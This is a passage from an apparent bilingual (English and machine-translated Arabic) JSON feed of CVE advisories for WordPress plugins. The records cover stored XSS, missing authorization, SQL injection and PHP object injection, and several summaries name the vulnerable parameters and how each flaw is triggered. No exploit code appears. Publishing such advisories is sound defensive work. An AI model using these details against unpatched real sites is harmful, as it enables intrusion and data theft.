الذين يملكون صلاحيات مستوى المشترِك أو أعلى، استخراج مفاتيح إعادة تعيين كلمة المرور الخاصة بالمسؤول الصالحة من سجلات البريد الإلكتروني المُخزنة وإكمال تدفق إعادة تعيين كلمة المرور في WordPress لتصعيد الصلاحيات إلى مسؤول. يتطلب الاستغلال أن يكون المسؤول قد قام مسبقًا بتكوين إعداد default_view_role الخاص بالإضافة إلى صلاحية يمتلكها المستخدمون ذوو الصلاحيات المنخفضة مثل 'read'؛ وفي التثبيت غير المُعدَّل، يقصر الافتراضي لـ 'manage_options' الوصول إلى السجلات على المسؤولين فقط."},"refs":[["https://github.com/JWardee/wp-mail-catcher/releases/tag/v2.3.0","ref"],["https://plugins.trac.wordpress.org/browser/wp-mail-catcher/tags/2.2.0/src/Bootstrap.php#L101","ref"],["https://plugins.trac.wordpress.org/browser/wp-mail-catcher/tags/2.2.0/src/Bootstrap.php#L259","ref"],["https://plugins.trac.wordpress.org/browser/wp-mail-catcher/tags/2.2.0/src/Loggers/WpMail.php#L42","ref"],["https://plugins.trac.wordpress.org/browser/wp-mail-catcher/tags/2.2.0/src/Views/HtmlMessage.php#L9","ref"],["https://plugins.trac.wordpress.org/browser/wp-mail-catcher/tags/2.2.0/src/Views/TextMessage.php#L10","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/599e46ed-a71c-41d1-839f-6bb76808a58f?source=cve","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wardee-mail-logging-catcher"},{"id":"CVE-2026-89270","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:37Z","product":"popupbuilder Popup Builder – Create highly converting, mobile friendly marketing popups.","affected":[["0 – 4.4.5",null]],"title":{"en":"Popup Builder <= 4.4.5 - Missing Authorization to Unauthenticated Arbitrary Popup Post Trashing via 'post_type' and 'sg_popup_preview_id' Parameters","ar":"Popup Builder <= 4.4.5 - غياب التفويض لنقل المنشورات المنبثقة العشوائية إلى سلة المهملات دون مصادقة عبر المعاملين 'post_type' و 'sg_popup_preview_id'"},"summary":{"en":"The Popup Builder – Create highly converting, mobile friendly marketing popups. plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.4.5 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to trash all published popups on the site with a single unauthenticated GET request. The attack is amplified by a second flaw in SGPopup::find(), which returns false for every normally published popup when the sg_popup_preview_id parameter is present, causing the trash branch to fire against every popup on the site simultaneously.","ar":"إضافة Popup Builder لـ WordPress مصابة بثغرة تجاوز التفويض في جميع الإصدارات حتى 4.4.5 ضمناً. يعود السبب إلى عدم تحقق الإضافة بشكل صحيح من صلاحية المستخدم لتنفيذ إجراء ما. يتيح ذلك للمهاجمين دون مصادقة إرسال كافة النوافذ المنبثقة المنشورة على الموقع إلى سلة المهملات عبر طلب GET واحد دون مصادقة. يتم تضخيم الهجوم بواسطة عيب ثانٍ في دالة SGPopup::find()، والتي تعيد القيمة false لكل نافذة منبثقة منشورة بشكل عادي عند وجود المعامل sg_popup_preview_id، مما يتسبب في تنفيذ فرع سلة المهملات ضد كل نافذة منبثقة على الموقع في نفس الوقت."},"refs":[["https://plugins.trac.wordpress.org/browser/popup-builder/tags/4.4.5/com/classes/Filters.php#L43","ref"],["https://plugins.trac.wordpress.org/browser/popup-builder/tags/4.4.5/com/classes/Filters.php#L435","ref"],["https://plugins.trac.wordpress.org/browser/popup-builder/tags/4.4.5/com/classes/popups/SGPopup.php#L1826","ref"],["https://plugins.trac.wordpress.org/browser/popup-builder/tags/4.4.5/com/classes/popups/SGPopup.php#L1830","ref"],["https://plugins.trac.wordpress.org/browser/popup-builder/tags/4.4.5/com/classes/popups/SGPopup.php#L257","ref"],["https://plugins.trac.wordpress.org/changeset/3755160/popup-builder/trunk/com/classes/popups/SGPopup.php","ref"],["https://wordpress.org/plugins/popup-builder/","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/13af3a6e-d3ef-41f0-9424-fe2c9b17c8bb?source=cve","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"popupbuilder-popup-builder"},{"id":"CVE-2026-118070","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:36Z","product":"uscnanbu Welcart e-Commerce","affected":[["0 – 2.12.5",null]],"title":{"en":"Welcart e-Commerce <= 2.12.5 - Unauthenticated Stored Cross-Site Scripting via 'gid' Parameter","ar":"Welcart e-Commerce <= 2.12.5 - البرمجة النصية عبر المواقع المخزنة دون مصادقة عبر المعامل 'gid'"},"summary":{"en":"The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gid' parameter in all versions up to, and including, 2.12.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload is staged by an unauthenticated visitor who forges the ROBOT PAYMENT browser-return request, storing the malicious gid value in order metadata; the script then fires when an administrator opens that order in the WordPress admin panel.","ar":"إضافة Welcart e-Commerce لـ WordPress مصابة بثغرة البرمجة النصية عبر المواقع المخزنة عبر المعامل 'gid' في جميع الإصدارات حتى 2.12.5 ضمناً بسبب عدم كفاية تعقيم المدخلات والهروب من المخرجات. يتيح ذلك للمهاجمين دون مصادقة حقن شيفرات وِب عشوائية في الصفحات والتي ستنفذ كلما قام مستخدم بالوصول إلى صفحة محقونة. يتم إعداد الحمولة بواسطة زائر دون مصادقة يقوم بتزوير طلب العودة من متجر ROBOT PAYMENT، وتخزين قيمة gid الخبيثة في بيانات الطلب الوصفية؛ ثم يتم تشغيل البرنامج النصي عندما يقوم المسؤول بفتح هذا الطلب في لوحة تحكم WordPress."},"refs":[["https://plugins.trac.wordpress.org/browser/usc-e-shop/tags/2.12.5/classes/paymentJPayment.class.php#L556","ref"],["https://plugins.trac.wordpress.org/browser/usc-e-shop/tags/2.12.5/functions/template_func.php#L3279","ref"],["https://plugins.trac.wordpress.org/browser/usc-e-shop/tags/2.12.5/functions/utility.php#L1553","ref"],["https://plugins.trac.wordpress.org/changeset/3760784/usc-e-shop","ref"],["https://plugins.trac.wordpress.org/changeset/3760784/usc-e-shop/trunk/functions/template_func.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/97e73872-bd1a-4b3a-9021-d0cd648456eb?source=cve","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"uscnanbu-welcart-e-commerce"},{"id":"CVE-2026-119065","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:36Z","product":"arosoft Shipping Zones by Drawing for WooCommerce","affected":[["0 – 3.3.0",null]],"title":{"en":"Shipping Zones by Drawing for WooCommerce <= 3.3.0 - Unauthenticated Stored Cross-Site Scripting via 'szbd-picked' Checkout Parameter","ar":"Shipping Zones by Drawing for WooCommerce <= 3.3.0 - البرمجة النصية عبر المواقع المخزنة دون مصادقة عبر معامل الدفع 'szbd-picked'"},"summary":{"en":"The Shipping Zones by Drawing for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'szbd-picked' checkout parameter in versions up to, and including, 3.3.0 The szbd_checkout_field_update_order_meta() handler stores stripslashes(sanitize_text_field($_POST['szbd-picked'])) in order meta without validating the JSON structure or restricting dangerous characters, and the szbd_show_checkout_field_admin_order_meta() handler later concatenates the decoded lat and lng values directly into a double-quoted href attribute without esc_url() or esc_attr(). This makes it possible for unauthenticated attackers, by submitting an ordinary guest-checkout order with a crafted szbd-picked JSON payload, to inject arbitrary attributes (such as onmouseover) onto the Google Maps link in the WooCommerce admin order view that will execute whenever an administrator accesses an injected order.","ar":"إضافة Shipping Zones by Drawing for WooCommerce لـ WordPress مصابة بثغرة البرمجة النصية عبر المواقع المخزنة عبر معامل الدفع 'szbd-picked' في الإصدارات حتى 3.3.0 ضمناً. تقوم دالة المعالجة szbd_checkout_field_update_order_meta() بتخزين szbd-picked في بيانات الطلب الوصفية دون التحقق من بنية JSON أو تقييد الأحرف الخطيرة، وتقوم دالة المعالجة szbd_show_checkout_field_admin_order_meta() لاحقاً بدمج قيم خطوط الطول والعرض المفكوكة مباشرة في سمة href محاطة بعلامات اقتباس مزدوجة دون استخدام esc_url() أو esc_attr(). يتيح ذلك للمهاجمين دون مصادقة، من خلال إرسال طلب إتمام شراء عادي كضيف مع حمولة JSON مصممة لمعامل szbd-picked، حقن سمات عشوائية (مثل onmouseover) في رابط خريطة Google ضمن عرض طلب مسؤول WooCommerce والتي ستنفذ كلما وصل المسؤول إلى طلب محقون."},"refs":[["https://plugins.trac.wordpress.org/browser/shipping-zones-by-drawing-for-woocommerce/tags/3.3.0/shipping-zones-by-drawing.php#L1061","ref"],["https://plugins.trac.wordpress.org/browser/shipping-zones-by-drawing-for-woocommerce/tags/3.3.0/shipping-zones-by-drawing.php#L1105","ref"],["https://plugins.trac.wordpress.org/browser/shipping-zones-by-drawing-for-woocommerce/tags/3.3.0/shipping-zones-by-drawing.php#L1133","ref"],["https://plugins.trac.wordpress.org/browser/shipping-zones-by-drawing-for-woocommerce/tags/3.3.0/shipping-zones-by-drawing.php#L1169","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&new=3774334%40shipping-zones-by-drawing-for-woocommerce%2Ftags%2F3.3.1&old=3769379%40shipping-zones-by-drawing-for-woocommerce%2Ftags%2F3.3.0","ref"],["https://plugins.trac.wordpress.org/log/shipping-zones-by-drawing-for-woocommerce/","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/e87daf87-2afb-433c-bb90-1d7469953bcc?source=cve","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"arosoft-shipping-zones-by-drawing-for-woocommerce"},{"id":"CVE-2026-119089","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:36Z","product":"supercleanse ThirstyAffiliates – Affiliate Links, Link Branding, Link Tracking & Marketing P…","affected":[["0 – 3.12.1",null]],"title":{"en":"ThirstyAffiliates <= 3.12.1 - Unauthenticated Stored Cross-Site Scripting via Comment Content via <ta> Tag","ar":"ThirstyAffiliates <= 3.12.1 - البرمجة النصية عبر المواقع المخزنة دون مصادقة عبر محتوى التعليق باستخدام وسم <ta>"},"summary":{"en":"The ThirstyAffiliates – Affiliate Links, Link Branding, Link Tracking & Marketing Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 3.12.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is only exploitable on block themes (such as Twenty Twenty-Five) where the Comment Content block causes comment HTML to flow through render_block, triggering the plugin's transformer. Additionally, a successful attack requires the attacker to have had one prior comment approved, after which subsequent crafted comments are auto-approved and rendered publicly.","ar":"إضافة ThirstyAffiliates لـ WordPress مصابة بثغرة البرمجة النصية عبر المواقع المخزنة عبر معامل 'comment' في جميع الإصدارات حتى 3.12.1 ضمناً بسبب عدم كفاية تعقيم المدخلات والهروب من المخرجات. يتيح ذلك للمهاجمين دون مصادقة حقن شيفرات وِب عشوائية في الصفحات والتي ستنفذ كلما قام مستخدم بالوصول إلى صفحة محقونة. لا يمكن استغلال هذه الثغرة إلا في السمات المعتمدة على الكتل (مثل Twenty Twenty-Five) حيث يتسبب كتلة محتوى التعليق في تدفق HTML التعليق عبر render_block، مما يؤدي إلى تشغيل محول الإضافة. بالإضافة إلى ذلك، يتطلب الهجوم الناجح أن يكون للمهاجم تعليق واحد سابق تمت الموافقة عليه، وبعد ذلك يتم الموافقة التلقائية على التعليقات المصممة اللاحقة وعرضها علناً."},"refs":[["https://plugins.trac.wordpress.org/browser/thirstyaffiliates/tags/3.12.1/Models/Affiliate_Links_CPT.php#L747","ref"],["https://plugins.trac.wordpress.org/browser/thirstyaffiliates/tags/3.12.1/Models/Link_Picker.php#L667","ref"],["https://plugins.trac.wordpress.org/browser/thirstyaffiliates/tags/3.12.1/Models/Link_Picker.php#L734","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&old=3773776%40thirstyaffiliates&new=3773776%40thirstyaffiliates","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/4182c4bb-fc3e-44d8-95d9-cd96ba898a34?source=cve","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"supercleanse-thirstyaffiliates"},{"id":"CVE-2026-119162","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:36Z","product":"specialk User Submitted Posts – Enable Users to Submit Posts from the Front End","affected":[["0 – 20260916",null]],"title":{"en":"User Submitted Posts <= 20260916 - Unauthenticated Stored DOM-Based Cross-Site Scripting via 'user-submitted-content' Parameter via Block-Comment Shortcode Splitting","ar":"User Submitted Posts <= 20260916 - برمجة نصية عبر المواقع تعتمد على كائن DOM مخزنة دون مصادقة عبر معامل 'user-submitted-content' عبر تجزئة اختصار تعليق الكتلة"},"summary":{"en":"The User Submitted Posts – Enable Users to Submit Posts from the Front End plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'user-submitted-content' parameter in all versions up to, and including, 20260916 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. On a default installation the submitted post is held as Pending and requires admin approval before the payload is reachable by other visitors; however, if the plugin's \"publish immediately\" option is enabled, no approval step exists and the stored payload becomes live without any moderator interaction.","ar":"إضافة User Submitted Posts لـ WordPress مصابة بثغرة البرمجة النصية عبر المواقع تعتمد على كائن DOM مخزنة عبر معامل 'user-submitted-content' في جميع الإصدارات حتى 20260916 ضمناً بسبب عدم كفاية تعقيم المدخلات والهروب من المخرجات. يتيح ذلك للمهاجمين دون مصادقة حقن شيفرات وِب عشوائية في الصفحات والتي ستنفذ كلما قام مستخدم بالوصول إلى صفحة محقونة. في التثبيت الافتراضي، يتم الاحتفاظ بالمنشور المقدم كمعلق ويتطلب موافقة المسؤول قبل أن تصبح الحمولة في متناول الزوار الآخرين؛ ومع ذلك، إذا تم تمكين خيار نشر فوراً الخاص بالاضافة، فلا توجد خطوة موافقة وتصبح الحمولة المخزنة نشطة دون أي تفاعل من المشرف."},"refs":[["https://plugins.trac.wordpress.org/browser/user-submitted-posts/trunk/library/shortcode-login.php#L80","ref"],["https://plugins.trac.wordpress.org/browser/user-submitted-posts/trunk/user-submitted-posts.php#L1426","ref"],["https://plugins.trac.wordpress.org/browser/user-submitted-posts/trunk/user-submitted-posts.php#L440","ref"],["https://plugins.trac.wordpress.org/browser/user-submitted-posts/trunk/user-submitted-posts.php#L643","ref"],["https://plugins.trac.wordpress.org/changeset/3773792/user-submitted-posts/trunk/library/shortcode-login.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/6486ffd9-4c8b-49a0-8493-0743f945b0f6?source=cve","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"specialk-user-submitted-posts"},{"id":"CVE-2026-119163","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:36Z","product":"teamfunnelkit FunnelKit Automations – Email Marketing Automation and CRM for WordPress & WooC…","affected":[["0 – 3.8.5.2",null]],"title":{"en":"FunnelKit Automations <= 3.8.5.2 - Unauthenticated SQL Injection via 'bwfan_cart_id' Parameter","ar":"FunnelKit Automations <= 3.8.5.2 - حقن SQL دون مصادقة عبر المعامل 'bwfan_cart_id'"},"summary":{"en":"The FunnelKit Automations – Email Marketing Automation and CRM for WordPress & WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the 'bwfan_cart_id' parameter in all versions up to, and including, 3.8.5.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation is a two-step persisted attack: an unauthenticated attacker submits a crafted bwfan_cart_id value during a guest Store API checkout (requiring only a publicly obtainable WooCommerce cart nonce), and the injection fires when a scheduled Action Scheduler job later reloads the stored meta upon order status transition out of pending, failed, or cancelled.","ar":"إضافة FunnelKit Automations لـ WordPress مصابة بثغرة حقن SQL المستند إلى الوقت عبر المعامل 'bwfan_cart_id' في جميع الإصدارات حتى 3.8.5.2 ضمناً بسبب عدم كفاية الهروب من المعامل المقدم من المستخدم ونقص التحضير الكافي على استعلام SQL الحالي. يتيح ذلك للمهاجمين دون مصادقة إلحاق استعلامات SQL إضافية باستعلامات موجودة مسبقاً والتي يمكن استخدامها لاستخراج معلومات حساسة من قاعدة البيانات. الاستغلال هو هجوم مستمر من خطوتين: يرسل مهاجم دون مصادقة قيمة bwfan_cart_id مصممة أثناء الدفع كضيف لمتجر Store API (تتطلب فقط رمز WooCommerce عشوائي متاح للعامة)، ويتم تشغيل الحقن عندما تقوم وظيفة Action Scheduler المجدولة لاحقاً بإعادة تحميل البيانات الوصفية المخزنة عند انتقال حالة الطلب من معلق أو فاشل أو ملغي."},"refs":[["https://plugins.trac.wordpress.org/browser/wp-marketing-automations/tags/3.8.5.2/includes/db/class-bwfan-model-automation-contact.php#L132","ref"],["https://plugins.trac.wordpress.org/browser/wp-marketing-automations/tags/3.8.5.2/modules/abandoned-cart/class-bwfan-abandoned.php#L1007","ref"],["https://plugins.trac.wordpress.org/browser/wp-marketing-automations/tags/3.8.5.2/modules/abandoned-cart/class-bwfan-abandoned.php#L414","ref"],["https://plugins.trac.wordpress.org/changeset/3759554/wp-marketing-automations/trunk/includes/db/class-bwfan-model-automation-contact.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/22399b2a-75e5-428d-a9a2-8b42e23c1825?source=cve","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"teamfunnelkit-funnelkit-automations"},{"id":"CVE-2026-115840","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:35Z","product":"e4jvikwp VikRentCar Car Rental Management System","affected":[["0 – 1.4.9",null]],"title":{"en":"VikRentCar Car Rental Management System <= 1.4.9 - Unauthenticated Stored Cross-Site Scripting via 'poplink' Parameter","ar":"VikRentCar Car Rental Management System <= 1.4.9 - البرمجة النصية عبر المواقع المخزنة دون مصادقة عبر المعامل 'poplink'"},"summary":{"en":"The VikRentCar Car Rental Management System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'poplink' parameter in all versions up to, and including, 1.4.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The handler requires only a WordPress nonce (vikwp_nonce), which the plugin itself emits to unauthenticated visitors on the public booking-confirmation page, allowing an attacker to obtain a valid token without any account.","ar":"إضافة VikRentCar Car Rental Management System لـ WordPress مصابة بثغرة البرمجة النصية عبر المواقع المخزنة عبر المعامل 'poplink' في جميع الإصدارات حتى 1.4.9 ضمناً بسبب عدم كفاية تعقيم المدخلات والهروب من المخرجات. يتيح ذلك للمهاجمين دون مصادقة حقن شيفرات وِب عشوائية في الصفحات والتي ستنفذ كلما قام مستخدم بالوصول إلى صفحة محقونة. تتطلب دالة المعالجة فقط رمز حماية WordPress (vikwp_nonce)، والذي تصدره الإضافة نفسها للزوار غير المصادق عليهم على صفحة تأكيد الحجز العامة، مما يسمح للمهاجم بالحصول على رمز صالح دون أي حساب."},"refs":[["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.10/libraries/lite/helper.php#L211","ref"],["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.9/libraries/lite/helper.php#L221","ref"],["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.9/site/views/cardetails/tmpl/default.php#L174","ref"],["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.9/site/views/oconfirm/tmpl/default.php#L811","ref"],["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.9/vikrentcar.php#L348","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/9514757b-903d-45af-b612-cfabc09abbaa?source=cve","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"e4jvikwp-vikrentcar-car-rental-management-system"},{"id":"CVE-2026-116522","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:35Z","product":"comesio Relevanssi – A Better Search","affected":[["0 – 4.28.5",null]],"title":{"en":"Relevanssi <= 4.28.5 - Unauthenticated Stored Cross-Site Scripting via Comment Content via Late Entity Decode","ar":"Relevanssi <= 4.28.5 - البرمجة النصية عبر المواقع المخزنة دون مصادقة عبر محتوى التعليق عبر فك ترميز الكيان المتأخر"},"summary":{"en":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 4.28.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the site to have both the comment indexing and comment highlighting options enabled, and the payload only fires when a visitor reaches a singular page via a Relevanssi search-result permalink carrying the highlight query parameter.","ar":"إضافة Relevanssi لـ WordPress مصابة بثغرة البرمجة النصية عبر المواقع المخزنة عبر معامل 'comment' في جميع الإصدارات حتى 4.28.5 ضمناً بسبب عدم كفاية تعقيم المدخلات والهروب من المخرجات. يتيح ذلك للمهاجمين دون مصادقة حقن شيفرات وِب عشوائية في الصفحات والتي ستنفذ كلما قام مستخدم بالوصول إلى صفحة محقونة. يتطلب هذا أن يقوم الموقع بتمكين خيارات فهرسة التعليقات وتسليط الضوء على التعليقات، ولا يتم تشغيل الحمولة إلا عندما يصل الزائر إلى صفحة مفردة عبر رابط دائم لنتائج بحث Relevanssi يحمل معامل استعلام التمييز."},"refs":[["https://github.com/msaari/relevanssi/commit/b0324957b27e2dfc2aa116c96dcf578fbec9e0e5","ref"],["https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.28.5/lib/common.php#L1037","ref"],["https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.28.5/lib/excerpts-highlights.php#L1698","ref"],["https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.28.5/lib/excerpts-highlights.php#L521","ref"],["https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.28.5/lib/excerpts-highlights.php#L688","ref"],["https://plugins.trac.wordpress.org/browser/relevanssi/tags/4.28.5/lib/init.php#L140","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&new=3767703%40relevanssi%2Ftags%2F4.28.6&old=3761637%40relevanssi%2Ftags%2F4.28.5","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/442403ae-9011-4373-a363-e98e07ec7e9b?source=cve","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"comesio-relevanssi"},{"id":"CVE-2026-116548","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:35Z","product":"e4jvikwp VikRentCar Car Rental Management System","affected":[["0 – 1.4.10",null]],"title":{"en":"VikRentCar Car Rental Management System <= 1.4.10 - Unauthenticated Stored Cross-Site Scripting via 'optionals' Parameter","ar":"VikRentCar Car Rental Management System <= 1.4.10 - البرمجة النصية عبر المواقع المخزنة دون مصادقة عبر المعامل 'optionals'"},"summary":{"en":"The VikRentCar Car Rental Management System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'optionals' parameter in all versions up to, and including, 1.4.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","ar":"إضافة VikRentCar Car Rental Management System لـ WordPress مصابة بثغرة البرمجة النصية عبر المواقع المخزنة عبر المعامل 'optionals' في جميع الإصدارات حتى 1.4.10 ضمناً بسبب عدم كفاية تعقيم المدخلات والهروب من المخرجات. يتيح ذلك للمهاجمين دون مصادقة حقن شيفرات وِب عشوائية في الصفحات والتي ستنفذ كلما قام مستخدم بالوصول إلى صفحة محقونة."},"refs":[["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.11/admin/views/editbusy/tmpl/default.php#L568","ref"],["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.9/admin/views/editbusy/tmpl/default.php#L568","ref"],["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.9/admin/views/editbusy/tmpl/default.php#L602","ref"],["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.9/site/controller.php#L169","ref"],["https://plugins.trac.wordpress.org/browser/vikrentcar/tags/1.4.9/site/controller.php#L668","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/c6813d20-ed4e-4cd0-9fe2-dd1f21683ef4?source=cve","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"e4jvikwp-vikrentcar-car-rental-management-system"},{"id":"CVE-2026-116557","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:35Z","product":"murgroland WP Booking System – Booking Calendar","affected":[["0 – 2.1.0.5",null]],"title":{"en":"WP Booking System <= 2.1.0.5 - Missing Authorization to Unauthenticated Arbitrary Calendar Note Deletion via wpbs_calendar_remove_note AJAX Action","ar":"WP Booking System <= 2.1.0.5 - غياب التفويض لحذف ملاحظة تقويم عشوائية دون مصادقة عبر إجراء AJAX المسمى wpbs_calendar_remove_note"},"summary":{"en":"The WP Booking System - Booking Calendar plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpbs_action_ajax_calendar_remove_note() function in versions up to, and including, 2.1.0.5 This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary calendar notes belonging to any calendar.","ar":"إضافة WP Booking System لـ WordPress مصابة بتعديل غير مرخص للبيانات بسبب غياب التحقق من الصلاحيات على دالة wpbs_action_ajax_calendar_remove_note() في الإصدارات حتى 2.1.0.5 ضمناً. يتيح ذلك للمهاجمين الذين يملكون حسابًا مصادقًا عليه، بصلاحيات مستوى المشترك وما فوق، حذف ملاحظات التقويم العشوائية التي تنتمي إلى أي تقويم."},"refs":[["https://plugins.trac.wordpress.org/browser/wp-booking-system/tags/2.1.0.5/includes/base/admin/calendar/functions-notes.php#L111","ref"],["https://plugins.trac.wordpress.org/browser/wp-booking-system/tags/2.1.0.5/includes/base/admin/calendar/functions-notes.php#L119","ref"],["https://plugins.trac.wordpress.org/browser/wp-booking-system/tags/2.1.0.5/includes/base/admin/calendar/functions-notes.php#L123","ref"],["https://plugins.trac.wordpress.org/changeset/3765778/wp-booking-system/trunk/includes/base/admin/calendar/functions-notes.php","ref"],["https://plugins.trac.wordpress.org/changeset?old=3755940&old_path=%2Fwp-booking-system%2Ftrunk&new=3765778&new_path=%2Fwp-booking-system%2Ftrunk","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/b25cc768-3377-41c9-acf5-8f6c993287c9?source=cve","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"murgroland-wp-booking-system"},{"id":"CVE-2026-109220","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:34Z","product":"addonsorg PDF Invoice for WooCommerce + Drag and Drop Template Builder","affected":[["0 – 7.1.1",null]],"title":{"en":"PDF Invoice for WooCommerce + Drag and Drop Template Builder <= 7.1.1 - Unauthenticated PHP Object Injection to Remote Code Execution via 'customer_note' Checkout Field","ar":"ثغرة تنفيذ أوامر عن بُعد في addonsorg PDF Invoice for WooCommerce + Drag and Drop Template Builder"},"summary":{"en":"The PDF Invoice for WooCommerce + Drag and Drop Template Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 